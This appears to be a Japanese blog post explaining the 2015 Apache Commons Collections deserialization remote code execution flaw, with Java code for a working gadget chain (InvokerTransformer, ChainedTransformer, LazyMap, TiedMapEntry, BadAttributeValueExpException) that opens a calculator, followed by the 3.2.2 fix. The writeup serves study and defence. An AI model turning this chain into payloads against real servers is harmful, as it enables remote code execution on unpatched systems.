Apache-Commons-Collections フレームワークは、Java プログラマーなら誰でもよく知っていると思いますが、非常に有名なオープン ソース フレームワークです。
ただし、実際にはシリアル化セキュリティの脆弱性にさらされており、コマンドをリモートで実行できます。
背景
Apache Commons は Apache Software Foundation のプロジェクトであり、Commons の目的は、さまざまな実用的な一般的な問題を解決する再利用可能な Java コードをオープン ソースで提供することです。
**Commons Collections パッケージは、Java の標準 Collections API に優れた追加機能を提供します。** これに基づいて、一般的なデータ構造操作をカプセル化、抽象化し、補足します。パフォーマンスを保証するだけでなく、アプリケーション開発プロセスのコードを大幅に簡素化しましょう。
Commons Collections の最新バージョンは 4.4 ですが、より広く使用されているバージョンは 3.x です。実際、3.2.1 より前のバージョンには、リモート コマンドの実行に悪用される可能性のある比較的大きなセキュリティ ホールが存在します。
この脆弱性は 2015 年に初めて明らかにされましたが、業界ではこの脆弱性を「2015 年で最も過小評価されている脆弱性」と呼んでいます。
このクラス ライブラリの使用範囲が広すぎるため、最初の脆弱性は多くの Java Web サーバーであり、この脆弱性は当時の WebLogic、WebSphere、JBoss、Jenkins、および OpenNMS の最新バージョンを席巻しました。
その後、Gabriel Lawrence と Chris Frohoff が、「Marshalling Pickles オブジェクトの逆シリアル化があなたの一日を台無しにする方法」で、Apache Commons Collection を使用して任意のコードの実行を実現する方法を提案しました。
問題の再発
この問題は主に Apache Commons Collections のバージョン 3.2.1 以下で発生します。今回はバージョン 3.1 をテストに使用し、JDK のバージョンは Java 8 です。
トランスフォーマーを使って攻撃する
Commons Collections では、主に型の置換に使用される Transformer インターフェイスが提供されており、このインターフェイスには、今回紹介する脆弱性に関連する実装クラス、InvokerTransformer が含まれています。
InvokerTransformer は変換メソッドを提供します。このメソッドのコア コードはわずか 3 行です。主な機能は、リフレクションを通じて受信オブジェクトをインスタンス化し、その iMethodName メソッドを実行することです。
![][2]
呼び出す必要がある iMethodName と使用する必要があるパラメーター iArgs は、InvokerTransformer クラスがインスタンス化されるときに実際に設定されます。このクラスのコンストラクターは次のとおりです。
![][3]
つまり、このクラスを使用すると、理論的にはあらゆるメソッドを実行できます。次に、このクラスを使用して Java で外部コマンドを実行できます。
Java で外部コマンドを実行したい場合は、Runtime.getRuntime().exec(cmd)
フォームを使用する必要があることがわかっているので、上記のツール クラスを通じてこの機能を実現する方法を見つけます。
まず、InvokerTransformer のコンストラクターを通じて実行するメソッドとパラメーターを設定します。
Transformer transformer = new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"open /Applications/Calculator.app"});
コンストラクターを通じてメソッド名を設定しexec
、実行するコマンドはopen /Applications/Calculator.app
Mac コンピューターで電卓を開くことです (Windows のコマンド: C:\\Windows\\System32\\calc.exe
)。
次に、Runtime
InvokerTransformer を通じてクラスをインスタンス化します。
transformer.transform(Runtime.getRuntime());
プログラムの実行後、外部コマンドが実行され、コンピューター上でコンピューター プログラムが開きます。
![][4]
これまでのところ、InvokerTransformer を使用して外部コマンドを呼び出せることがわかりました。カスタム InvokerTransformer を文字列にシリアル化し、それを逆シリアル化するだけでよいのでしょうか? インターフェイスはリモート コマンド実行を実装します。
![][5]
まずトランスフォーマー オブジェクトをファイルにシリアル化し、次にファイルから読み取り、そのtransformメソッドを実行して攻撃を実現します。
これで終わりだと思いましたか?
しかし、物事がそれほど単純であれば、バグはずっと前に発見されていたでしょう。実際に攻撃を実行するには、やるべきことがまだいくつかあります。
なぜなら、newTransformer.transform(Runtime.getRuntime());
そのようなコードを実際にコードに書く人はいないからです。
このコード行がなくても、外部コマンドを実行できますか?
これは、Commons Collections で提供される別のツール、つまり Transformer の実装クラスである ChainedTransformer を利用するためです。
ChainedTransformer クラスは、transform メソッドを提供します。この関数は、iTransformers 配列を走査し、その transform メソッドを順番に呼び出して、毎回オブジェクトを返します。このオブジェクトは、次の呼び出しのパラメータとして使用できます。
![][6]
transformer.transform(Runtime.getRuntime());
次に、この機能を使用して同じ関数を自分で実装できます。
Transformer[] transformers = new Transformer[] {
//通过内置的ConstantTransformer来获取Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
トランスフォーマーチェーンを取得した後、その変換メソッドを直接呼び出してパラメータを渡します。実行後、ローカルの計算機プログラムを開く機能も実現できます。
![][7]
次に、シリアル化と組み合わせることで、現在の攻撃はさらに一歩進んでおり、コード内にどのようなパラメーターが含まれているかに関係なく、コード内にメソッド呼び出しがある限り、そのようなnewTransformer.transform(Runtime.getRuntime());
コードを渡す必要はなくなりました。transformer.transform()
![][8]
攻撃者はこれでは満足しないだろう
ただし、通常、コード内にそのようなコードを記述するプログラマーはいません。
となると、攻撃手法はさらに一歩進んで、まさに「プログラマーの協力を必要としない」攻撃手法が必要となります。
そのため、攻撃者は、Commons Collections に LazyMap クラスが提供されており、このクラスを取得すると、transform メソッドが呼び出されることを発見しました。(Commons Collections はハッカーが何を考えているかをよく知っています。)
![][9]
次に、現在の攻撃の方向は、LazyMap の get メソッドを呼び出し、その中のファクトリをシリアル化されたオブジェクトに設定する方法を見つけることです。
このつるに従っていくと、Commons Collections の TiedMapEntry クラスの getValue メソッドが LazyMap の get メソッドを呼び出し、TiedMapEntry クラスの getValue が toString() メソッドによって呼び出されることがわかります。
public String toString() {
return getKey() + "=" + getValue();
}
public Object getValue() {
return map.get(key);
}
TiedMapEntry を構築してシリアル化し、誰かがシリアル化されたオブジェクトを取得してその toString メソッドを呼び出す限り、自動的にバグがトリガーされます。
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
() を出力するときなど、多くの場合、toString が暗黙的に呼び出されることはわかっていますSystem.out.println(ois.readObject());
。コード例は次のとおりです。
![][10]
これで、ハッカーは自分で構築した TiedMapEntry のシリアライズされた内容をアプリケーションにアップロードするだけで済み、アプリケーションがデシリアライズされた後、toString が呼び出されると攻撃されてしまいます。
逆シリアル化されている限り攻撃されます
では、準備したコンテンツを逆シリアル化する限り、コードを攻撃させる方法はあるのでしょうか?
以下の条件を満たしていれば、実際に発見されました。
つまり、特定のクラスの readObject は、上で説明した LazyMap または TiedMapEntry の関連メソッドを呼び出します。Java が逆シリアル化するときに、オブジェクトの readObject メソッドが呼び出されるからです。
ハッカーはさらに深く調査することで、BadAttributeValueExpException、AnnotationInvocationHandler、その他のクラスを発見しました。ここでは例として BadAttributeValueExpException を取り上げます。
BadAttributeValueExpException クラスは Java で提供される例外クラスであり、その readObject メソッドは toString メソッドを直接呼び出します。
![][11]
その後、攻撃者はコード内で TiedMapEntry オブジェクトを valObj に割り当てる方法を見つけるだけで済みます。
ソース コードを読むと、BadAttributeValueExpException クラスのメンバー変数 val を TiedMapEntry 型のオブジェクトに設定するだけでよいことがわかりました。
これは簡単で、リフレクションを通じて実現できます。
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
// val是私有变量,所以利用下面方法进行赋值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);
したがって、現時点での攻撃は非常に単純で、BadAttributeValueExpException オブジェクトを文字列にシリアル化するだけであり、文字列の内容が逆シリアル化されている限り攻撃を受けます。
![][12]
問題が解決しました
上記では、Apache Commons Collections クラス ライブラリによってもたらされる逆シリアル化に関連するリモート コード実行の脆弱性を再現しました。
この脆弱性を分析すると、コードの厳密性が不十分な箇所がある限り、攻撃者に悪用される可能性があることが分かりました。
この脆弱性の範囲は非常に広いため、公開後に修正されており、開発者は Apache Commons Collections クラス ライブラリをバージョン 3.2.2 にアップグレードするだけでこの脆弱性を回避できます。
![-w1382][13]
バージョン 3.2.2 では、一部の安全でない Java クラスのシリアル化サポートにスイッチが追加されました。これはデフォルトでは無効になっています。関連するクラスには次のものがあります。
CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory,
WhileClosure
たとえば、InvokerTransformer クラスでは、シリアル化に関連する writeObject() メソッドと readObject() メソッドが独自に実装されています。
![][14]
2 つの方法では、シリアル化セキュリティの関連検証が実行されます。検証実装コードは次のとおりです。
![][15]
シリアル化と逆シリアル化のプロセスで、一部の安全でないクラスのシリアル化サポートが無効になっているかどうかを確認し、無効になっている場合は、UnsupportedOperationException
このorg.apache.commons.collections.enableUnsafeSerialization
機能のスイッチを設定することでスローされます。
Apache Commons Collections を 3.2.2 にアップグレードした後、記事のサンプル コードを実行すると、次のエラーが報告されます。
Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)
あとがき
この記事では、Apache Commons Collections の過去のバージョンに存在する逆シリアル化の脆弱性について説明します。
この記事を読んで次のような考えを持っていただければ、この記事の目的は達成されています。
1. コードは人によって書かれたものなので、バグがあるのは当然です
2. 公開基本クラスライブラリはセキュリティ問題に焦点を当てなければなりません
3. 公開クラスライブラリを使用する場合は、セキュリティ状況に常に注意し、脆弱性が発生した場合は直ちにアップグレードする必要があります。
4. セキュリティ分野は底なしで、攻撃者はいつでも繭を引き抜くことができ、少しのバグでも悪用される可能性があります